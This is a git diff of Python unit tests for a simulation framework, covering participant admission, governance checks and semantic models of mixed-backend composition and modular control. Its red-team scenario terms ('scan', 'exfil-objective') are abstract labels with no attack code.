test_compiler_maps_participant_behavior_to_runtime_addresses(): binding = model.participant_behaviors[PARTICIPANT_ADDRESS] assert binding.participant_name == "red-agent" - assert binding.entity_name == "red-team" + assert binding.affiliation_names == ("red-team",) assert binding.action_contract_addresses == (ACTION_ADDRESS,) assert binding.observation_boundary_addresses == (OBSERVATION_ADDRESS,) assert binding.interpretation_mode == "role-neutral-projection" diff --git a/implementations/python/tests/test_sem_211_participant_action_semantics.py b/implementations/python/tests/test_sem_211_participant_action_semantics.py index 15d00e4c1..e7a04a82e 100644 --- a/implementations/python/tests/test_sem_211_participant_action_semantics.py +++ b/implementations/python/tests/test_sem_211_participant_action_semantics.py @@ -148,7 +148,7 @@ def _scenario_yaml() -> str: latency_profile: terminal observation latency agents: red-agent: - entity: red-team + affiliations: [red-team] actions: [scan] observation_boundaries: [red-view] """ @@ -1306,6 +1306,7 @@ def test_local_control_plane_store_preserves_participant_behavior_history(tmp_pa } ) store = LocalControlPlaneStore(tmp_path / "control-plane") + store.admit_runtime(target_scope="target:stub", run_scope="run:test") store.save_snapshot(snapshot, expected_revision=store.load_snapshot_state().revision) loaded = store.load_snapshot() diff --git a/implementations/python/tests/test_sem_213_temporal_participant_semantics.py b/implementations/python/tests/test_sem_213_temporal_participant_semantics.py index 1ac080f2e..6430141ba 100644 --- a/implementations/python/tests/test_sem_213_temporal_participant_semantics.py +++ b/implementations/python/tests/test_sem_213_temporal_participant_semantics.py @@ -162,7 +162,7 @@ def _scenario_yaml() -> str: limitations: [serialized order is disclosed as realized order, not simultaneity] agents: red-agent: - entity: red-team + affiliations: [red-team] actions: [scan] observation_boundaries: [red-view] observation_boundaries: diff --git a/implementations/python/tests/test_sem_215_participant_outcome_interpretation.py b/implementations/python/tests/test_sem_215_participant_outcome_interpretation.py index 544cdc94b..3a880c9a4 100644 --- a/implementations/python/tests/test_sem_215_participant_outcome_interpretation.py +++ b/implementations/python/tests/test_sem_215_participant_outcome_interpretation.py @@ -85,7 +85,7 @@ def _scenario_yaml() -> str: exfil-detected: {proposition: exfil-detected, role: postcondition, polarity: positive} objectives: exfil-objective: - agent: red-agent + assigned_participant: red-agent actions: [scan] targets: [nodes.web.services.http] success: @@ -149,7 +149,7 @@ def _scenario_yaml() -> str: evidence_refs: [evidence.alert] agents: red-agent: - entity: red-team + affiliations: [red-team] actions: [scan] observation_boundaries: [red-view] outcome_interpretation_rules: diff --git a/implementations/python/tests/test_sem_220_participant_decision_surface_v2_runtime.py b/implementations/python/tests/test_sem_220_participant_decision_surface_v2_runtime.py index b76e552ca..acce7ee16 100644 --- a/implementations/python/tests/test_sem_220_participant_decision_surface_v2_runtime.py +++ b/implementations/python/tests/test_sem_220_participant_decision_surface_v2_runtime.py @@ -5,6 +5,7 @@ from dataclasses import replace import pytest +from participant_crossing_fixtures import StaticCrossingResolver, evidence, identity, policy_capable_target from raes_backend_stubs.stubs import create_stub_target from raes_contracts.contracts import ( ParticipantDecisionSurfaceDeliveryV2Model, @@ -26,6 +27,7 @@ resolve_participant_episode_readiness_anchor_v2, ) from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_security import ControlPlaneRole from test_sem_220_participant_decision_surface import ( BEHAVIOR, BOUNDARY, @@ -222,8 +224,8 @@ def _delivery(surface) -> ParticipantDecisionSurfaceDeliveryV2Model: ) -def _initial_surface(): - control = RuntimeControlPlane(create_stub_target()) +def _initial_surface(control: RuntimeControlPlane | None = None): + control = control or RuntimeControlPlane(create_stub_target()) control.initialize_participant_episode(PARTICIPANT, episode_id=EPISODE) snapshot = control.get_snapshot().snapshot anchor = resolve_participant_episode_readiness_anchor_v2( @@ -259,6 +261,134 @@ def _selection_for(delivered) -> ParticipantDecisionSurfaceSelectionV2Model: ) +def _governed_selection_case(): + resolver = StaticCrossingResolver() + control, projected, implementation_selection = _initial_surface( + RuntimeControlPlane( + policy_capable_target(), + crossing_policy_resolver=resolver, + enforce_final_sink_flow_control=False, + ) + ) + delivery = _delivery(projected) + delivered = deliver_participant_decision_surface_v2( + projected, delivery_ref=delivery.delivery_ref, resolver=lambda **_: delivery + ) + return control, delivered, implementation_selection, delivery + + +def _admit_governed_selection(control, delivered, implementation_selection, delivery, *, selection=None, **context): + return control.admit_participant_decision_surface_selection_v2( + replace(_compiled_participant_behavior(), authority_anchor_addresses=("authority:red-team",)), + surface=delivered, + selection=selection or _selection_for(delivered), + admission_request=replace(_admission_request(), implementation_selection=implementation_selection), + resolvers=ParticipantDecisionSurfaceBindingResolversV2( + argument_shape=_resolved_selection, + apparatus=lambda **_: implementation_selection, + delivery=lambda **_: delivery, + ), + **context, + ) + + +def test_v2_selection_forwards_authenticated_context_to_governed_admission() -> None: + control, delivered, implementation_selection, delivery = _governed_selection_case() + receipt = _admit_governed_selection( + control, + delivered, + implementation_selection, + delivery, + identity=identity(participant_address=PARTICIPANT), + crossing_evidence=evidence(), + ) + + assert receipt.accepted is True + crossing = control.get_snapshot().snapshot.participant_crossing_history[PARTICIPANT][0] + assert crossing["participant_address"] == PARTICIPANT + assert crossing["episode_id"] == EPISODE + assert crossing["occurrence"]["interaction_kind"] == "candidate-selection" + assert crossing["occurrence"]["action_or_projection_ref"] == SCAN + assert len(control.get_snapshot().snapshot.participant_behavior_history[PARTICIPANT]) == 3 + + +@pytest.mark.parametrize("missing", ("identity", "crossing_evidence")) +def test_v2_governed_admission_requires_caller_context(missing: str) -> None: + control, delivered, implementation_selection, delivery = _governed_selection_case() + context = { + "identity": identity(participant_address=PARTICIPANT), + "crossing_evidence": evidence(), + } + context.pop(missing) + + with pytest.raises((PermissionError, ValueError)): + _admit_governed_selection(control, delivered, implementation_selection, delivery, **context) + + assert control.get_snapshot().snapshot.participant_behavior_history.get(PARTICIPANT, []) == [] + + +@pytest.mark.parametrize("unauthorized", ("wrong_target", "wrong_role", "wrong_participant")) +def test_v2_governed_admission_rejects_unauthorized_caller(unauthorized: str) -> None: + control, delivered, implementation_selection, delivery = _governed_selection_case() + caller = identity(participant_address=PARTICIPANT) + if unauthorized == "wrong_target": + caller = replace(caller, target_name="another-target") + elif unauthorized == "wrong_role": + caller = replace(caller, roles=frozenset({ControlPlaneRole.AUDITOR})) + else: + caller = identity(participant_address="participant.behavior.other") + + crossing_evidence = evidence() + with pytest.raises(PermissionError): + _admit_governed_selection( + control, + delivered, + implementation_selection, + delivery, + identity=caller, + crossing_evidence=crossing_evidence, + ) + + assert control.get_snapshot().snapshot.participant_behavior_history.get(PARTICIPANT, []) == [] + + +def test_v2_governed_admission_rejects_a_stale_episode_cut() -> None: + control, delivered, implementation_selection, delivery = _governed_selection_case() + control.reset_participant_episode(PARTICIPANT, episode_id=f"{EPISODE}-reset") + + receipt = _admit_governed_selection( + control, + delivered, + implementation_selection, + delivery, + identity=identity(participant_address=PARTICIPANT), + crossing_evidence=evidence(), + ) + + assert receipt.accepted is False + assert control.get_snapshot().snapshot.participant_behavior_history.get(PARTICIPANT, []) == [] + + +def test_v2_governed_admission_rejects_mismatched_selected_action() -> None: + control, delivered, implementation_selection, delivery = _governed_selection_case() + selection = _selection_for(delivered).model_copy( + update={"action_contract_address": "participant.action-contract.other"} + ) + + receipt = _admit_governed_selection( + control, + delivered, + implementation_selection, + delivery, + selection=selection, + identity=identity(participant_address=PARTICIPANT), + crossing_evidence=evidence(), + ) + + assert receipt.accepted is False + assert control.get_snapshot().snapshot.participant_behavior_history.get(PARTICIPANT, []) == [] + + def test_initial_epoch_projects_delivers_and_admits_only_the_exact_view() -> None: control, projected, implementation_selection = _initial_surface() delivery = _delivery(projected) diff --git a/implementations/python/tests/test_sem_234_governance.py b/implementations/python/tests/test_sem_234_governance.py new file mode 100644 index 000000000..de2d21640 --- /dev/null +++ b/implementations/python/tests/test_sem_234_governance.py @@ -0,0 +1,25 @@ +"""SEM-234 publication ownership uses the real repository policy evaluator.""" + +from paths import REPO_ROOT +from tools.policy.repository_requirements import RepositoryRequirementClient +from tools.policy.requirement_governance import evaluate_requirement_governance + + +def test_semantic_publication_has_exact_document_ownership(): + failures = evaluate_requirement_governance( + REPO_ROOT, + ["docs/decisions/issue-1013-sem-234-mixed-participant-control-preflight.md"], + client=RepositoryRequirementClient(REPO_ROOT), + requirement_uid="SEM-234", + ) + assert failures == [] + + +def test_semantic_publication_does_not_authorize_runtime_implementation(): + failures = evaluate_requirement_governance( + REPO_ROOT, + ["implementations/python/packages/raes_runtime/participant_control_mediation.py"], + client=RepositoryRequirementClient(REPO_ROOT), + requirement_uid="SEM-234", + ) + assert any(failure.rule_id == "requirement-ownership-mismatch" for failure in failures) diff --git a/implementations/python/tests/test_sem_234_mixed_composition.py b/implementations/python/tests/test_sem_234_mixed_composition.py new file mode 100644 index 000000000..b492e81ef --- /dev/null +++ b/implementations/python/tests/test_sem_234_mixed_composition.py @@ -0,0 +1,435 @@ +"""Finite SEM-234 witnesses; these tests do not execute mixed backends.""" + +from dataclasses import replace +from itertools import permutations, product + +import pytest +import sem234_mixed_composition_model as model +from sem230_information_flow_model import Crossing, CrossingKind, Label, ProjectionPolicyDecision +from sem234_mixed_composition_model import ( + Component, + Context, + Edge, + Phase, + Plan, + Scope, + admit, +) + +SCOPES = ( + Scope("participant.alice", "participant-runtime", frozenset({"act"})), + Scope("action.alice.inspect", "action-family", frozenset({"act"})), + Scope("nodes.target", "controlled-scope", frozenset({"target"})), + Scope("observations.status", "observation-source", frozenset({"observe"})), + Scope("crossings.status", "crossing-boundary", frozenset({"cross"})), +) +PINS = frozenset( + (kind, f"{kind}:one", "rev1", "digest:one") + for kind in ("adapter", "authority", "mapping", "policy", "release", "time", "failure", "observer") +) +ATOMS = frozenset({"act", "target", "observe", "cross"}) +SIM = Component("apparatus:a", "simulation", "clock:a", ATOMS, 2, frozenset({"conformance:a"})) +EMU = Component("apparatus:b", "emulation-or-operational", "clock:b", ATOMS, 2, frozenset({"conformance:b"})) +EDGE = Edge("apparatus:a", "apparatus:b", "crossings.status", PINS, ("clock:a", "clock:b")) +ALLOCATIONS = ( + ("participant.alice", "apparatus:a"), + ("nodes.target", "apparatus:b"), + ("observations.status", "apparatus:b"), + ("crossings.status", "apparatus:b"), +) +PHASE = Phase("phase:0", frozenset({SIM.ref, EMU.ref}), ALLOCATIONS, (EDGE,), (EDGE.key,)) +PLAN = Plan( + "scenario:one", + "policy:one", + "plan:one", + "entry:one", + "run:one", + "simultaneous-mixed-realization", + (SIM.ref, EMU.ref), + (PHASE,), + ATOMS, +) +CONTEXT = Context(SCOPES, (SIM, EMU), PINS, ((next(pin for pin in PINS if pin[0] == "time"), ("clock:a", "clock:b")),)) + + +def test_mixed_admission_resolves_all_five_scope_kinds_without_backend_name_inference(): + assert admit(PLAN, CONTEXT) == () + action_allocation = replace(PHASE, allocations=(("action.alice.inspect", SIM.ref), *ALLOCATIONS[1:])) + assert admit(replace(PLAN, phases=(action_allocation,)), CONTEXT) == () + misleading_name = replace(SIM, ref="emulator-brand") + changed_phase = replace( + PHASE, + members=frozenset({misleading_name.ref, EMU.ref}), + allocations=(("participant.alice", misleading_name.ref), *ALLOCATIONS[1:]), + edges=(replace(EDGE, source=misleading_name.ref),), + exchanges=((misleading_name.ref, EMU.ref, EDGE.scope),), + ) + renamed = replace(PLAN, components=(misleading_name.ref, EMU.ref), phases=(changed_phase,)) + assert admit(renamed, replace(CONTEXT, components=(misleading_name, EMU))) == () + unclassified = replace(SIM, form="unknown") + assert "realization-form" in admit(PLAN, replace(CONTEXT, components=(unclassified, EMU))) + + +def test_alternative_realizations_keep_scenario_policy_but_have_separate_run_identities(): + for component in (SIM, EMU): + phase = Phase( + "phase:0", frozenset({component.ref}), tuple((scope, component.ref) for scope, _ in ALLOCATIONS), (), () + ) + alternative = replace( + PLAN, + mode="alternative-realization", + components=(component.ref,), + phases=(phase,), + entry=f"entry:{component.ref}", + run=f"run:{component.ref}", + ) + assert admit(alternative, CONTEXT) == () + assert (alternative.scenario, alternative.policy) == (PLAN.scenario, PLAN.policy) + assert alternative.run != PLAN.run + + +def test_mixed_forms_require_allocated_providers_not_merely_listed_members(): + assert admit(PLAN, CONTEXT) == () + single_provider = replace( + PHASE, allocations=tuple((scope, SIM.ref) for scope, _ in ALLOCATIONS), edges=(), exchanges=() + ) + assert "mixed-forms" in admit(replace(PLAN, phases=(single_provider,)), CONTEXT) + same_form = replace(EMU, form=SIM.form) + assert "mixed-forms" in admit(PLAN, replace(CONTEXT, components=(SIM, same_form))) + + +@pytest.mark.parametrize("kind", sorted(pin[0] for pin in PINS)) +def test_every_edge_binding_must_resolve_at_its_exact_revision_and_digest(kind): + pin = next(pin for pin in PINS if pin[0] == kind) + for replacement in (None, (pin[0], pin[1], "stale", pin[3]), (pin[0], pin[1], pin[2], "wrong")): + pins = (PINS - {pin}) | ({replacement} if replacement else set()) + broken = replace(PHASE, edges=(replace(EDGE, pins=frozenset(pins)),)) + assert "edge-binding" in admit(replace(PLAN, phases=(broken,)), CONTEXT) + + +def test_missing_reverse_or_wrong_clock_mapping_does_not_admit_an_exchange(): + for edges in ((), (replace(EDGE, source=EMU.ref, destination=SIM.ref),)): + assert "exchange-edge" in admit(replace(PLAN, phases=(replace(PHASE, edges=edges),)), CONTEXT) + wrong = replace(EDGE, clocks=("clock:b", "clock:a")) + assert "clock-mapping" in admit(replace(PLAN, phases=(replace(PHASE, edges=(wrong,)),)), CONTEXT) + + +def test_cross_kind_overlap_and_inactive_or_unadmitted_providers_are_rejected(): + overlap = replace(PHASE, allocations=(*ALLOCATIONS, ("action.alice.inspect", EMU.ref))) + assert "competing-providers" in admit(replace(PLAN, phases=(overlap,)), CONTEXT) + inactive = replace(PHASE, members=frozenset({SIM.ref})) + assert "inactive-provider" in admit(replace(PLAN, phases=(inactive,)), CONTEXT) + fallback = replace(PHASE, allocations=(("participant.alice", "apparatus:late"), *ALLOCATIONS[1:])) + assert "inactive-provider" in admit(replace(PLAN, phases=(fallback,)), CONTEXT) + late = replace(PHASE, members=PHASE.members | {"apparatus:late"}) + assert "unadmitted-member" in admit(replace(PLAN, phases=(late,)), CONTEXT) + + +def test_missing_required_effect_or_provider_support_is_not_borrowed_from_a_peer(): + missing = replace(PHASE, allocations=ALLOCATIONS[1:]) + assert "incomplete-allocation" in admit(replace(PLAN, phases=(missing,)), CONTEXT) + unsupported = replace(SIM, supported=ATOMS - {"act"}) + assert "unsupported-effect" in admit(PLAN, replace(CONTEXT, components=(unsupported, EMU))) + unverified = replace(SIM, evidence=frozenset()) + assert "support-evidence" in admit(PLAN, replace(CONTEXT, components=(unverified, EMU))) + + +def test_axes_are_independent_and_allocation_is_order_independent(): + for loop, world, membership in product( + ("open-loop", "closed-loop"), ("closed-world", "bounded-open-world"), ("fixed", "pre-admitted-dynamic") + ): + assert admit(replace(PLAN, loop=loop, world=world, membership=membership), CONTEXT) == () + assert "axes" in admit(replace(PLAN, world="open"), CONTEXT) + for allocations in permutations(ALLOCATIONS): + assert admit(replace(PLAN, phases=(replace(PHASE, allocations=allocations),)), CONTEXT) == () + + +def test_graph_bounds_refuse_instead_of_truncating_and_unknown_scopes_do_not_match_prefixes(): + assert "work-limit" in admit(PLAN, CONTEXT, limit=1) + unknown = replace(PHASE, allocations=(("participant.alice.extra", SIM.ref), *ALLOCATIONS[1:])) + assert "unresolved-scope" in admit(replace(PLAN, phases=(unknown,)), CONTEXT) + + +def _state(plan=PLAN): + return model.State( + plan, + 0, + model.Cut( + "cut:0", + "alice", + "episode:1", + "operator", + "authority:one", + "rev1", + "capability:1", + 0, + ("control:0", "crossing:0"), + ), + ) + + +def _delivery(state, **changes): + crossing = Crossing( + "alice", + "participant:alice", + 1, + CrossingKind.DISCLOSURE, + Label.DISCLOSURE, + "status", + "ready", + "rev1", + "decision:0", + state.cut.ref, + True, + True, + True, + True, + False, + True, + True, + ) + policy = ProjectionPolicyDecision( + "policy:one", "rev1", "decision:0", state.cut.ref, frozenset({"status"}), frozenset() + ) + args = dict( + edge_key=EDGE.key, + expected=state.cut, + crossings=(crossing,), + policies=(policy,), + emitted=frozenset({"status"}), + before="event:0", + after="event:1", + order=frozenset({("event:0", "event:1")}), + action=True, + action_admitted=True, + committed=True, + result="delivered", + ) + args.update(changes) + return model.deliver(state, CONTEXT, **args) + + +def test_authorization_precedes_routing_and_metadata_is_projected_with_payload(): + state = _state() + result, outcome = _delivery(state) + assert outcome == "delivered" + assert result.effects == (EDGE.key,) + assert result.knowledge == frozenset({"status"}) + refused, outcome = _delivery(state, emitted=frozenset({"status", "secret-membership"})) + assert outcome == "projection-widened" + assert refused.effects == () + assert refused.knowledge == state.knowledge + assert refused.history == ("projection-widened",) + + +@pytest.mark.parametrize("empty_output", [False, True]) +@pytest.mark.parametrize("mutation", ["missing", "policy_id", "revision", "decision_cut_ref"]) +def test_delivery_requires_exact_policy_decision_even_without_output(mutation, empty_output): + state = _state() + policy = ProjectionPolicyDecision( + state.plan.policy, state.cut.policy_revision, "decision:0", state.cut.ref, frozenset({"status"}), frozenset() + ) + policies = () if mutation == "missing" else (replace(policy, **{mutation: "wrong"}),) + output = {"crossings": (), "emitted": frozenset()} if empty_output else {} + refused, outcome = _delivery(state, policies=policies, **output) + assert outcome == "policy-binding" + assert refused.effects == state.effects + assert refused.knowledge == state.knowledge + assert refused.history == (*state.history, "policy-binding") + # Empty output is legal only when an exact decision still authorizes the cut. + admitted, outcome = _delivery(state, policies=(policy,), **output) + assert outcome == "delivered" + assert admitted.effects == (EDGE.key,) + + +@pytest.mark.parametrize( + "field,value", + [ + ("controller", "previous-controller"), + ("authority", "old-authority"), + ("policy_revision", "old-policy"), + ("capability", "old-support"), + ("revision", 99), + ("heads", ("old-control", "old-crossing")), + ("participant", "bob"), + ("episode", "episode:old"), + ("order_ref", "order:old"), + ], +) +def test_every_stale_cut_coordinate_prevents_effects(field, value): + state = _state() + result, outcome = _delivery(state, expected=replace(state.cut, **{field: value})) + assert outcome == "stale" + assert result.effects == () + assert result.knowledge == frozenset() + + +def test_revocation_open_loop_and_action_denial_cannot_be_overridden_by_provider(): + state = _state() + revoked = replace(state, cut=replace(state.cut, authority_status="revoked")) + assert _delivery(revoked)[1] == "inactive-authority" + open_loop = _state(replace(PLAN, loop="open-loop")) + assert _delivery(open_loop)[1] == "open-loop-actuation" + assert _delivery(open_loop, action=False)[1] == "delivered" + assert _delivery(state, action_admitted=False)[1] == "action-denied" + + +def test_partial_order_needs_the_required_comparison_and_no_timestamp_tiebreak(): + state = _state() + incomparable = frozenset({("event:0", "concurrent"), ("event:1", "concurrent")}) + denied, outcome = _delivery(state, order=incomparable) + assert outcome == "unresolved-order" + assert denied.effects == () + # A partial relation is sufficient for this comparison, without ordering every pair. + partial = frozenset({("event:0", "event:1"), ("unrelated", "other")}) + assert _delivery(state, order=partial)[1] == "delivered" + contradictory = frozenset({("event:0", "event:1"), ("event:1", "event:0")}) + assert _delivery(state, order=contradictory)[1] == "invalid-order" + + +def test_commit_and_attempt_are_not_delivery_and_failed_store_cannot_promise_history(): + state = _state() + failed_commit, outcome = _delivery(state, committed=False) + assert outcome == "commit-failed" + assert failed_commit == state + for result in ("failed", "unknown"): + attempted, outcome = _delivery(state, result=result) + assert outcome == result + assert attempted.effects == (EDGE.key,) + assert attempted.knowledge == frozenset() + delivered, _ = _delivery(state) + replay, outcome = _delivery(delivered, expected=state.cut) + assert outcome == "stale" + assert replay.effects == delivered.effects + assert replay.knowledge == delivered.knowledge + + +def _phased_plan(): + next_phase = Phase("phase:1", frozenset({SIM.ref}), tuple((scope, SIM.ref) for scope, _ in ALLOCATIONS), (), ()) + return replace( + PLAN, + phases=(PHASE, next_phase), + membership="pre-admitted-dynamic", + transitions=(("phase:0", "phase:1", "trigger:advance"),), + ) + + +def test_phase_commit_preserves_trial_identity_controller_and_prior_knowledge(): + state, _ = _delivery(_state(_phased_plan())) + result, outcome = model.advance(state, CONTEXT, expected=state.cut, trigger="trigger:advance", committed=True) + assert outcome == "phase-committed" + assert result.phase == 1 + assert dict(result.plan.phases[result.phase].allocations)["nodes.target"] == SIM.ref + assert EMU.ref not in result.plan.phases[result.phase].members + assert result.plan == state.plan + assert result.cut.controller == state.cut.controller + assert result.knowledge == state.knowledge + assert result.effects == state.effects + assert result.history[:-1] == state.history + assert result.cut.revision == state.cut.revision + 1 + stale, outcome = model.advance(result, CONTEXT, expected=state.cut, trigger="trigger:advance", committed=True) + assert outcome == "stale" + assert stale.phase == result.phase + + +def test_phases_cannot_activate_unadmitted_members_or_skip_pending_work(): + state = _state(_phased_plan()) + for trigger, committed, pending, reason in ( + ("trigger:unknown", True, (), "unadmitted-trigger"), + ("trigger:advance", False, (), "commit-failed"), + ("trigger:advance", True, ("attempt:pending",), "in-flight"), + ): + initial = replace(state, pending=pending) + result, outcome = model.advance(initial, CONTEXT, expected=initial.cut, trigger=trigger, committed=committed) + assert outcome == reason + assert result.phase == 0 + assert result.effects == () + invalid_phase = replace(PHASE, ref="phase:1", members=PHASE.members | {"late"}) + invalid = _state(replace(state.plan, phases=(PHASE, invalid_phase))) + assert ( + model.advance(invalid, CONTEXT, expected=invalid.cut, trigger="trigger:advance", committed=True)[1] + == "invalid-plan" + ) + + +def test_inter_trial_lineage_requires_new_entry_run_and_fixed_scenario_policy(): + target = replace(PLAN, plan="plan:two", entry="entry:two", run="run:two") + assert model.link_trials(PLAN, target, CONTEXT) == (PLAN.entry, PLAN.run, target.entry, target.run) + for invalid in (PLAN, replace(target, scenario="different"), replace(target, policy="different")): + with pytest.raises(ValueError, match="trial-lineage"): + model.link_trials(PLAN, invalid, CONTEXT) + + +def test_delegated_abstract_completion_and_reporting_use_existing_description_owners(): + from implementations.python.research.description_lifecycle import Demand, capture, report_choice + from implementations.python.research.partial_description import NO_WITNESS, Atom, Field, Record, choose, denotation + from implementations.python.research.partial_description import Scope as OpenScope + + request = Record((Field("action", Atom(("inspect",))),)) + concrete = {"action": "inspect", "internal": "private-route"} + wrong = {"action": "attack", "internal": "private-route"} + selected = choose((request,), (wrong, concrete), scopes=(OpenScope((), "open"),)) + assert selected == concrete + assert choose((request,), (wrong,), scopes=(OpenScope((), "open"),)) is NO_WITNESS + assert report_choice(selected, (("action",),)).facts[0].value == "inspect" + assert tuple(f.path for f in report_choice(selected, (("action",),)).facts) == (("action",),) + # A complete abstract action needs no machine or internal implementation recipe. + abstract = {"action": "inspect"} + assert choose((request,), (abstract,)) == abstract + universe = (abstract, concrete) + offered_rule = Record((Field("internal", Atom(("private-route",))),)) + requested = denotation((request,), universe) + offered = denotation((offered_rule,), universe) + assert requested == frozenset({0, 1}) + assert offered == frozenset({1}) + assert not requested <= offered + calls = [] + key = (("participant",), "actions") + + def producer(): + calls.append("collect") + return ("inspect",) + + result = capture((Demand((), "none", forbid_experimental=True),), {key: producer}, {key}) + assert calls == [] + assert result.collected == () + assert result.exported == () + selected_demand = Demand((), "exhaustive", ("actions",), retain=True) + result = capture((selected_demand,), {key: producer}, {key}) + assert calls == ["collect"] + assert result.collected + assert result.retained + assert result.exported == () + + +def test_resolved_policy_and_authority_cannot_be_borrowed_from_another_edge_cut(): + state = _state() + other_policy = ProjectionPolicyDecision( + "policy:other", "rev1", "decision:0", state.cut.ref, frozenset({"status"}), frozenset() + ) + assert _delivery(state, policies=(other_policy,))[1] == "policy-binding" + other_authority = replace(state, cut=replace(state.cut, authority="authority:other")) + assert _delivery(other_authority)[1] == "authority-binding" + + +def test_explicit_loss_never_silently_changes_the_original_required_obligations(): + lossy = replace(EDGE, loss=frozenset({"timing:coarsened"})) + plan = replace(PLAN, phases=(replace(PHASE, edges=(lossy,)),)) + assert "unadmitted-loss" in admit(plan, CONTEXT) + assert admit(replace(plan, allowed_loss=lossy.loss), CONTEXT) == () + # Declaring loss still cannot make a missing required comparison true. + state = _state(replace(plan, allowed_loss=lossy.loss)) + assert _delivery(state, order=frozenset())[1] == "unresolved-order" + + +def test_controller_cardinality_and_revision_are_explicit_not_provider_counts(): + state = _state() + for invalid in ("", ("operator", "joint")): + invalid_state = replace(state, cut=replace(state.cut, controller=invalid)) + assert _delivery(invalid_state)[1] == "controller-authority" + assert "profile-revision" in admit(replace(PLAN, authority_revision="sem-234/rev2"), CONTEXT) + + +def test_federated_label_alone_does_not_establish_distinct_leaf_forms(): + nested = replace(EMU, form="federated-composition") + assert "nested-profile-required" in admit(PLAN, replace(CONTEXT, components=(SIM, nested))) diff --git a/implementations/python/tests/test_sem_235_governance.py b/implementations/python/tests/test_sem_235_governance.py new file mode 100644 index 000000000..0bbb82f22 --- /dev/null +++ b/implementations/python/tests/test_sem_235_governance.py @@ -0,0 +1,25 @@ +"""Exercise the existing governance boundary for SEM-235 publication.""" + +from paths import REPO_ROOT +from tools.policy.repository_requirements import RepositoryRequirementClient +from tools.policy.requirement_governance import evaluate_requirement_governance + + +def test_semantic_publication_rejects_runtime_implementation(): + failures = evaluate_requirement_governance( + REPO_ROOT, + ["implementations/python/packages/raes_runtime/participant_flow_sink.py"], + client=RepositoryRequirementClient(REPO_ROOT), + requirement_uid="SEM-235", + ) + assert any(f.rule_id == "requirement-ownership-mismatch" for f in failures) + + +def test_semantic_publication_allows_its_preflight(): + failures = evaluate_requirement_governance( + REPO_ROOT, + ["docs/decisions/issue-1070-sem-235-architecture-preflight.md"], + client=RepositoryRequirementClient(REPO_ROOT), + requirement_uid="SEM-235", + ) + assert failures == [] diff --git a/implementations/python/tests/test_sem_235_modular_control.py b/implementations/python/tests/test_sem_235_modular_control.py new file mode 100644 index 000000000..dc78bb0fe --- /dev/null +++ b/implementations/python/tests/test_sem_235_modular_control.py @@ -0,0 +1,332 @@ +"""Finite semantic witnesses for sem-235/rev1, not provider conformance.""" + +from dataclasses import replace +from itertools import permutations, product + +import pytest +import sem235_modular_control_model as model + + +def test_teaching_domain_join_laws_memory_and_fresh_derivation(): + domain = tuple( + frozenset(t for t, bit in zip(model.TOKENS, bits, strict=True) if bit) + for bits in product((False, True), repeat=2) + ) + for a, b, c in product(domain, repeat=3): + assert model.join(a, b) in domain + assert model.join(a, a) == a + assert model.join(a, b) == model.join(b, a) + assert model.join(model.join(a, b), c) == model.join(a, model.join(b, c)) + assert a <= model.join(a, b) + if a <= b: + assert model.join(a, c) <= model.join(b, c) + hint = model.Influence("hint", frozenset({"coached-hint"})) + memory = model.Influence("memory", frozenset({"worked-example"})) + proposal = model.derive("proposal", (hint, memory)) + assert proposal.labels == frozenset(model.TOKENS) + assert proposal.ancestors == frozenset({"hint", "memory"}) + assert model.derive("next-episode", (proposal,)).labels == proposal.labels + assert model.derive("unknown", (hint, replace(memory, labels=None))).labels is None + with pytest.raises(ValueError, match="fresh"): + model.derive("hint", (proposal,)) + unknown_token = frozenset({"trusted"}) + empty = frozenset() + with pytest.raises(ValueError, match="domain"): + model.join(unknown_token, empty) + wrong_revision = replace(hint, revision="sem-233/rev1") + with pytest.raises(ValueError, match="revision"): + model.derive("new", (wrong_revision,)) + + +@pytest.mark.parametrize("status", ("missing", "unknown", "unsupported", "stale", "failed", "weakened")) +def test_mandatory_failure_cannot_be_overridden_by_advice(status): + slots = ( + model.Slot("flow", "fact"), + model.Slot("budget", "decision"), + model.Slot("monitor", "advice", mandatory=False), + ) + results = ( + model.Result("flow", "fact", status=status), + model.Result("budget", "decision", payload="permit"), + model.Result("monitor", "advice", payload="permit"), + ) + for order in permutations(results): + assert model.compose(slots, order, cut="K0") == (f"flow:{status}",) + + +def test_fact_slot_and_permission_slot_are_not_interchangeable(): + fact = model.Slot("flow", "fact") + decision = model.Slot("sink", "decision") + assert model.compose((fact,), (model.Result("flow", "fact"),), cut="K0") == () + assert model.compose((fact,), (), cut="K0") == ("flow:missing",) + assert model.compose((decision,), (model.Result("sink", "fact"),), cut="K0") == ("sink:kind",) + assert model.compose((decision,), (model.Result("sink", "decision", payload="abstain"),), cut="K0") + assert model.compose((), (), cut="K0", incumbent=False) == ("incumbent",) + assert model.compose((fact,), (model.Result("flow", "fact", cut="K1"),), cut="K0") == ("flow:stale",) + + +def test_dependency_admission_and_all_blocking_reasons(): + slots = (model.Slot("flow", "fact"), model.Slot("rule", "decision", dependencies=("flow",))) + results = (model.Result("flow", "fact", status="unknown"), model.Result("rule", "decision", payload="permit")) + assert model.compose(slots, results, cut="K0") == ("flow:unknown", "rule:dependency") + for invalid in ( + (model.Slot("a", "fact", dependencies=("a",)),), + (model.Slot("a", "fact", dependencies=("absent",)),), + (model.Slot("a", "advice", mandatory=False), model.Slot("b", "decision", dependencies=("a",))), + (model.Slot("a", "fact"), model.Slot("a", "decision")), + ): + with pytest.raises(ValueError): + model.compose(invalid, (), cut="K0") + + +def test_effect_conflicts_are_order_independent_and_delay_intersects(): + route = model.Request("route-a", "route", "P", "left") + other = replace(route, rule="route-b", target="right") + for pair in permutations((route, other)): + assert model.effect_plan(pair) == ("conflict",) + transform = model.Request("edit-a", "transform", "P", "participant", content="edit:1") + mask = replace(transform, rule="mask-b", kind="mask", content="mask:2") + assert model.effect_plan((transform, mask), order=frozenset({("edit-a", "mask-b")})) == ("conflict",) + assert model.effect_plan((route, route)) == () + assert model.effect_plan((route, replace(route, content="changed"))) == ("key-conflict",) + delay = model.Request("delay-a", "delay", "P", "participant", window=(10, 20)) + assert model.delay_window((delay, replace(delay, rule="delay-b", window=(15, 25)))) == (15, 20) + assert model.effect_plan((delay, replace(delay, rule="delay-b", window=(21, 25)))) == ("conflict",) + assert model.effect_plan((replace(delay, window=(20, 10)),)) == ("invalid-window",) + assert model.effect_plan((delay, replace(delay, rule="delay-b", clock="other"))) == ("conflict",) + + +@pytest.mark.parametrize("kind", ("transform", "mask", "route", "handoff")) +def test_distinct_matching_effects_still_require_order(kind): + first = model.Request("rule-a", kind, "P", "participant") + second = replace(first, rule="rule-b") + for 